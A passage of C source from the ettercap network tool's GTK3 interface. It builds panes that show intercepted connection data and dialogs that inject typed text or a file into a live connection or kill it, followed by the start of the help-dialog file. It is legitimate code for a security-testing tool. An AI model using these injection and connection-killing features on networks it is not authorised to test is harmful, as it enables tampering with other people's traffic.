hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show_all(dwindow); } static void gtkui_connection_detail_destroy(GtkWidget *widget, gpointer *data) { /* unused variable */ (void) data; /* destroy timer if still running */ if (detail_timer1) g_source_remove(detail_timer1); if (detail_timer2) g_source_remove(detail_timer2); /* destroy widget */ gtk_widget_destroy(widget); } static void gtkui_connection_data(void) { GtkTreeIter iter; GtkTreeModel *model; struct conn_tail *c = NULL; DEBUG_MSG("gtk_connection_data"); model = GTK_TREE_MODEL (ls_conns); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if(c == NULL || c->co == NULL) return; /* just to be safe */ /* * remove any hook on the open connection. * this is done to prevent a switch of connection * with the panel opened */ if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); /* remove the viewing flag */ curr_conn->flags &= ~CONN_VIEWING; } /* set the global variable to pass the parameter to other functions */ curr_conn = c->co; curr_conn->flags |= CONN_VIEWING; /* default is split view */ gtkui_connection_data_split(); } /* * show the content of the connection */ static void gtkui_connection_data_split(void) { GtkWidget *vbox, *scrolled, *label, *child; GtkWidget *hbox_big, *hbox_small, *button; GtkTextIter iter; char tmp[MAX_ASCII_ADDR_LEN]; char title[MAX_ASCII_ADDR_LEN+6]; static gint scroll_split = 1; DEBUG_MSG("gtk_connection_data_split"); /* if we're switching views, make sure old hook is gone */ conntrack_hook_conn_del(curr_conn, join_print_po); if(data_window) { child = gtk_bin_get_child(GTK_BIN (data_window)); gtk_container_remove(GTK_CONTAINER (data_window), child); textview3 = NULL; joinedbuf = NULL; endmark3 = NULL; } else { data_window = gtkui_page_new("Connection data", >kui_destroy_conndata, >kui_connection_data_detach); } /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; hbox_big = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_container_add(GTK_CONTAINER(data_window), hbox_big); gtk_widget_show(hbox_big); /*** left side ***/ vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); gtk_widget_show(vbox); /* title */ snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, tmp), ntohs(curr_conn->L4_addr1)); label = gtk_label_new(title); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview1 = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview1), GTK_WRAP_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview1), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview1), FALSE); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview1), 5); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview1), 5); gtk_container_add(GTK_CONTAINER (scrolled), textview1); gtk_widget_show(textview1); splitbuf1 = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview1)); gtk_text_buffer_create_tag (splitbuf1, "blue_fg", "foreground", "blue", NULL); gtk_text_buffer_create_tag (splitbuf1, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(splitbuf1, &iter); endmark1 = gtk_text_buffer_create_mark(splitbuf1, "end", &iter, FALSE); /* first two buttons */ hbox_small = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox_small, FALSE, FALSE, 0); gtk_widget_show(hbox_small); button = gtk_button_new_with_mnemonic("_Join Views"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_data_join), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Inject Data"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_inject), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); /*** right side ***/ vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); gtk_widget_show(vbox); /* title */ snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr2, tmp), ntohs(curr_conn->L4_addr2)); label = gtk_label_new(title); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview2 = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview2), GTK_WRAP_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview2), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview2), FALSE); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview2), 5); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview2), 5); gtk_container_add(GTK_CONTAINER (scrolled), textview2); gtk_widget_show(textview2); splitbuf2 = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview2)); gtk_text_buffer_create_tag (splitbuf2, "blue_fg", "foreground", "blue", NULL); gtk_text_buffer_create_tag (splitbuf2, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(splitbuf2, &iter); endmark2 = gtk_text_buffer_create_mark(splitbuf2, "end", &iter, FALSE); /* second two buttons */ hbox_small = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox_small, FALSE, FALSE, 0); gtk_widget_show(hbox_small); button = gtk_button_new_with_mnemonic("Inject _File"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_inject_file), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill_curr_conn), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); gtk_widget_show(data_window); if(GTK_IS_WINDOW (data_window)) gtk_window_present(GTK_WINDOW (data_window)); else gtkui_page_present(data_window); /* after widgets are drawn, scroll to bottom */ g_timeout_add(500, gtkui_connections_scroll, &scroll_split); /* print the old data */ connbuf_print(&curr_conn->data, split_print); /* add the hook on the connection to receive data only from it */ conntrack_hook_conn_add(curr_conn, split_print_po); } /* detach connection data tab */ static void gtkui_connection_data_detach(GtkWidget *child) { data_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (data_window), "Connection data"); gtk_window_set_default_size(GTK_WINDOW (data_window), 600, 400); gtk_container_set_border_width(GTK_CONTAINER (data_window), 5); g_signal_connect(G_OBJECT(data_window), "delete_event", G_CALLBACK(gtkui_destroy_conndata), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(data_window, gtkui_connection_data_attach); gtk_container_add(GTK_CONTAINER(data_window), child); gtk_window_present(GTK_WINDOW (data_window)); } /* attach connection data tab */ static void gtkui_connection_data_attach(void) { if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); } gtk_widget_destroy(data_window); textview1 = NULL; textview2 = NULL; textview3 = NULL; data_window = NULL; gtkui_connection_data_split(); } /* close connection data tab */ static void gtkui_destroy_conndata(void) { DEBUG_MSG("gtkui_destroy_conndata"); if (curr_conn) { conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); curr_conn->flags &= ~CONN_VIEWING; curr_conn = NULL; } gtk_widget_destroy(data_window); textview1 = NULL; textview2 = NULL; textview3 = NULL; data_window = NULL; } /* print connection data to one of the split or joined views */ /* int buffer - 1 for left split view, 2 for right split view, 3 for joined view */ /* char *data - string to print */ /* int color - 2 for blue text (used in joined view) */ static void gtkui_data_print(int buffer, char *data, int color) { GtkTextIter iter; GtkTextBuffer *textbuf = NULL; GtkWidget *textview = NULL; GtkTextMark *endmark = NULL; char *unicode = NULL; switch(buffer) { case 1: textbuf = splitbuf1; textview = textview1; endmark = endmark1; break; case 2: textbuf = splitbuf2; textview = textview2; endmark = endmark2; break; case 3: textbuf = joinedbuf; textview = textview3; endmark = endmark3; break; default: return; } /* make sure data is valid UTF8 */ unicode = gtkui_utf8_validate(data); /* if interface has been destroyed or unicode conversion failed */ if(!data_window || !textbuf || !textview || !endmark || !unicode) return; gtk_text_buffer_get_end_iter(textbuf, &iter); if(color == 2) gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, -1, "blue_fg", "monospace", NULL); else gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, -1, "monospace", NULL); gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview), endmark, 0, FALSE, 0, 0); } static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) gtkui_data_print(1, dispbuf, 0); else gtkui_data_print(2, dispbuf, 0); } static void split_print_po(struct packet_object *po) { int ret; /* if not open don't refresh it */ if (!data_window) return; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) gtkui_data_print(1, dispbuf, 0); else gtkui_data_print(2, dispbuf, 0); } /* * show the data in a joined window */ static void gtkui_connection_data_join(void) { GtkWidget *hbox, *vbox, *label, *scrolled, *button, *child; GtkTextIter iter; #define TITLE_LEN (MAX_ASCII_ADDR_LEN * 2) + 6 char src[MAX_ASCII_ADDR_LEN]; char dst[MAX_ASCII_ADDR_LEN]; char title[TITLE_LEN]; static gint scroll_join = 2; DEBUG_MSG("gtk_connection_data_join"); /* if we're switching views, make sure old hook is gone */ conntrack_hook_conn_del(curr_conn, split_print_po); if(data_window) { child = gtk_bin_get_child(GTK_BIN (data_window)); gtk_container_remove(GTK_CONTAINER (data_window), child); textview1 = NULL; textview2 = NULL; splitbuf1 = NULL; splitbuf2 = NULL; endmark1 = NULL; endmark2 = NULL; } else { data_window = gtkui_page_new("Connection data", >kui_destroy_conndata, >kui_connection_data_detach); } /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER(data_window), vbox); gtk_widget_show(vbox); /* title */ snprintf(title, TITLE_LEN, "%s:%d - %s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, src), ntohs(curr_conn->L4_addr1), ip_addr_ntoa(&curr_conn->L3_addr2, dst), ntohs(curr_conn->L4_addr2)); label = gtk_label_new(title); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview3 = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview3), GTK_WRAP_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview3), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview3), FALSE); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview3), 5); gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview3), 5); gtk_container_add(GTK_CONTAINER (scrolled), textview3); gtk_widget_show(textview3); joinedbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview3)); gtk_text_buffer_create_tag (joinedbuf, "blue_fg", "foreground", "blue", NULL); gtk_text_buffer_create_tag (joinedbuf, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(joinedbuf, &iter); endmark3 = gtk_text_buffer_create_mark(joinedbuf, "end", &iter, FALSE); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("_Split View"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_data_split), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill_curr_conn), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); gtk_widget_show(data_window); if(GTK_IS_WINDOW (data_window)) gtk_window_present(GTK_WINDOW (data_window)); else gtkui_page_present(data_window); /* after widgets are drawn, scroll to bottom */ g_timeout_add(500, gtkui_connections_scroll, &scroll_join); /* print the old data */ connbuf_print(&curr_conn->data, join_print); /* add the hook on the connection to receive data only from it */ conntrack_hook_conn_add(curr_conn, join_print_po); } static gboolean gtkui_connections_scroll(gpointer data) { gint *type = data; if (type == NULL) return FALSE; if(*type == 1 && textview1 && endmark1 && textview2 && endmark2) { /* scroll split data views to bottom */ gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview1), endmark1, 0, FALSE, 0, 0); gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview2), endmark2, 0, FALSE, 0, 0); } else if(textview3 && endmark3) { /* scroll joined data view to bottom */ gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview3), endmark3, 0, FALSE, 0, 0); } /* only execute once, don't repeat */ return(FALSE); } static void join_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) gtkui_data_print(3, dispbuf, 1); else gtkui_data_print(3, dispbuf, 2); } static void join_print_po(struct packet_object *po) { int ret; /* if not focused don't refresh it */ if (!data_window) return; /* check the regex filter */ if (EC_GBL_OPTIONS->regex && regexec(EC_GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); /* format the data */ ret = EC_GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) gtkui_data_print(3, dispbuf, 1); else gtkui_data_print(3, dispbuf, 2); } /* * erase the connection list */ static void gtkui_connection_purge(void *conn) { struct row_pairs *row, *nextrow, *list = connections; /* variable not used */ (void) conn; DEBUG_MSG("gtkui_connection_purge"); connections = NULL; for(row = list; row; row = nextrow) { nextrow = row->next; SAFE_FREE(row); } conntrack_purge(); gtk_list_store_clear(GTK_LIST_STORE (ls_conns)); } /* * kill the selected connection connection */ static void gtkui_connection_kill(void *conn) { GtkTreeIter iter; GtkTreeModel *model; struct conn_tail *c = NULL; /* variable not used */ (void) conn; DEBUG_MSG("gtkui_connection_kill"); model = GTK_TREE_MODEL (ls_conns); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if (!c || !c->co) return; /* kill it */ switch (user_kill(c->co)) { case E_SUCCESS: /* set the status */ c->co->status = CONN_KILLED; gtkui_message("The connection was killed !!"); break; case -E_FATAL: gtkui_message("Cannot kill UDP connections !!"); break; } } /* * call the specialized funtion as this is a callback * without the parameter */ static void gtkui_connection_kill_curr_conn(void) { DEBUG_MSG("gtkui_connection_kill_curr_conn"); /* kill it */ switch (user_kill(curr_conn)) { case E_SUCCESS: /* set the status */ curr_conn->status = CONN_KILLED; gtkui_message("The connection was killed !!"); break; case -E_FATAL: gtkui_message("Cannot kill UDP connections !!"); break; } } /* * inject interactively with the user */ static void gtkui_connection_inject(void) { GtkWidget *dialog, *text, *label, *vbox, *frame, *content_area; GtkWidget *button1, *button2, *hbox; GtkTextBuffer *buf; GtkTextIter start, end; char tmp[MAX_ASCII_ADDR_LEN]; gint response = 0; DEBUG_MSG("gtk_connection_inject"); if(curr_conn == NULL) return; dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_box_pack_start(GTK_BOX(content_area), vbox, FALSE, FALSE, 0); label = gtk_label_new ("Packet destination:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button1 = gtk_radio_button_new_with_label(NULL, ip_addr_ntoa(&curr_conn->L3_addr2, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button1, FALSE, FALSE, 0); button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (button1), ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button2, FALSE, FALSE, 0); label = gtk_label_new ("Characters to be injected:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); frame = gtk_frame_new(NULL); gtk_frame_set_shadow_type(GTK_FRAME (frame), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX (vbox), frame, TRUE, TRUE, 5); text = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (text), GTK_WRAP_CHAR); gtk_container_add(GTK_CONTAINER (frame), text); gtk_widget_show_all(dialog); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); SAFE_REALLOC(injectbuf, 501 * sizeof(char)); memset(injectbuf, 0, 501); buf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (text)); /* initialize iters for get text */ gtk_text_buffer_get_start_iter(buf, &start); gtk_text_buffer_get_start_iter(buf, &end); /* advance end iter to end of text, 500 char max */ gtk_text_iter_forward_chars(&end, 500); strncpy(injectbuf, gtk_text_buffer_get_text(buf, &start, &end, FALSE), 501); if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) gtkui_inject_user(1); else if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) gtkui_inject_user(2); } gtk_widget_destroy(dialog); } static void gtkui_inject_user(int side) { size_t len; /* escape the sequnces in the buffer */ len = strescape(injectbuf, injectbuf, strlen(injectbuf)+1); /* check where to inject */ if (side == 1 || side == 2) { user_inject(injectbuf, len, curr_conn, side); } } /* * inject form a file */ static void gtkui_connection_inject_file(void) { /* START */ GtkWidget *dialog, *label, *vbox, *hbox, *content_area; GtkWidget *button1, *button2, *button, *entry; char tmp[MAX_ASCII_ADDR_LEN]; const char *filename = NULL; gint response = 0; DEBUG_MSG("gtk_connection_inject_file"); if(curr_conn == NULL) return; dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_window_set_default_size(GTK_WINDOW (dialog), 400, 150); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_box_pack_start(GTK_BOX(content_area), vbox, FALSE, FALSE, 0); label = gtk_label_new ("Packet destination:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start (GTK_BOX (vbox), hbox, FALSE, FALSE, 0); button1 = gtk_radio_button_new_with_label(NULL, ip_addr_ntoa(&curr_conn->L3_addr2, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (button1), ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button2, FALSE, FALSE, 0); label = gtk_label_new ("File to inject:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start (GTK_BOX (vbox), hbox, FALSE, FALSE, 0); entry = gtk_entry_new(); gtk_box_pack_start(GTK_BOX (hbox), entry, TRUE, TRUE, 0); button = gtk_button_new_with_label("..."); gtk_box_pack_start(GTK_BOX (hbox), button, FALSE, FALSE, 0); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_filename_browse), entry); gtk_widget_show_all(dialog); response = gtk_dialog_run(GTK_DIALOG (dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_entry_get_text(GTK_ENTRY (entry)); if(filename && strlen(filename) > 0) { if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) gtkui_inject_file(filename, 1); else if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) gtkui_inject_file(filename, 2); } } gtk_widget_destroy(dialog); } /* * map the file into memory and pass the buffer to the inject function */ static void gtkui_inject_file(const char *filename, int side) { int fd; void *buf; size_t size, ret; DEBUG_MSG("inject_file %s", filename); /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) { ui_error("Can't load the file"); return; } /* calculate the size of the file */ size = lseek(fd, 0, SEEK_END); /* load the file in memory */ SAFE_CALLOC(buf, size, sizeof(char)); /* rewind the pointer */ lseek(fd, 0, SEEK_SET); ret = read(fd, buf, size); close(fd); if (ret != size) { ui_error("Cannot read the file into memory"); return; } /* check where to inject */ if (side == 1 || side == 2) { user_inject(buf, size, curr_conn, side); } SAFE_FREE(buf); } static void set_connfilter(GtkWidget *widget, gpointer *data) { gboolean *value; DEBUG_MSG("set_connfilter"); value = (gboolean*)data; *value = gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(widget)); /* reapply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); } static void set_connfilter_host(GtkWidget *widget, gpointer *data) { /* unused variable */ (void) data; DEBUG_MSG("set_connfilter_host"); filter.host = gtk_entry_get_text(GTK_ENTRY(widget)); /* reapply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); } static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *data) { gchar *src_host, *dst_host; gboolean ret = TRUE; struct conn_tail *conn = NULL; /* unused variable */ (void) data; /* fetch row values */ gtk_tree_model_get(model, iter, 1, &src_host, 4, &dst_host, 11, &conn, -1); /* evaluate filter criteria */ /* host filter set - filter hosts that do not match */ if (filter.host && strlen(filter.host)) { if (src_host && !strcasestr(src_host, filter.host) && dst_host && !strcasestr(dst_host, filter.host)) { ret = FALSE; g_free(src_host); g_free(dst_host); } } if (conn && conn->co) { /* protocol filter */ switch (conn->co->L4_proto) { case NL_TYPE_UDP: if (!filter.udp) ret = FALSE; break; case NL_TYPE_TCP: if (!filter.tcp) ret = FALSE; break; default: if (!filter.other) ret = FALSE; } /* connection state filter */ switch (conn->co->status) { case CONN_IDLE: if (!filter.idle) ret = FALSE; break; case CONN_ACTIVE: if (!filter.active) ret = FALSE; break; case CONN_CLOSING: if (!filter.closing) ret = FALSE; break; case CONN_CLOSED: if (!filter.closed) ret = FALSE; break; case CONN_KILLED: if (!filter.killed) ret = FALSE; break; default: break; } } else { ret = FALSE; } return ret; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_help.c0000644000175000017500000001674313505247364021464 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef OS_WINDOWS #include #include #include #include /* globals */ static GtkTreeSelection *selection = NULL; static GtkListStore *liststore = NULL; static GtkTextBuffer *textbuf = NULL; typedef struct { char *title; char *file; } help_pair; help_pair help_list[] = { { "ettercap", "ettercap" }, { "logging", "etterlog" }, { "filters", "etterfilter" }, { "plugins", "ettercap_plugins" }, { "settings", "etter.conf" }, { "curses", "ettercap_curses" }, { NULL, NULL } }; /* proto */ void gtkui_help_open(char *file); void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data); /********************************************/ void gtkui_help(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *scrolled, *treeview, *hbox, *textview, *content_area; GtkWidget *header; GtkCellRenderer *renderer; GtkTreeViewColumn *column; GtkTreeIter iter; help_pair *section; (void) action; (void) value; (void) data; DEBUG_MSG("gtkui_help"); header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), PROGRAM " Help"); gtk_header_bar_set_decoration_layout(GTK_HEADER_BAR(header), ":close"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); dialog = gtk_dialog_new(); gtk_window_set_title(GTK_WINDOW(dialog), PROGRAM " Help"); gtk_window_set_titlebar(GTK_WINDOW(dialog), header); gtk_window_set_modal(GTK_WINDOW(dialog), TRUE); gtk_window_set_default_size(GTK_WINDOW (dialog), 780, 580); gtk_window_set_transient_for(GTK_WINDOW(dialog), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dialog), GTK_WIN_POS_CENTER_ON_PARENT); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 gtk_dialog_set_has_separator(GTK_DIALOG (dialog), TRUE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 6); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_box_pack_start(GTK_BOX(content_area), hbox, TRUE, TRUE, 0); scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); 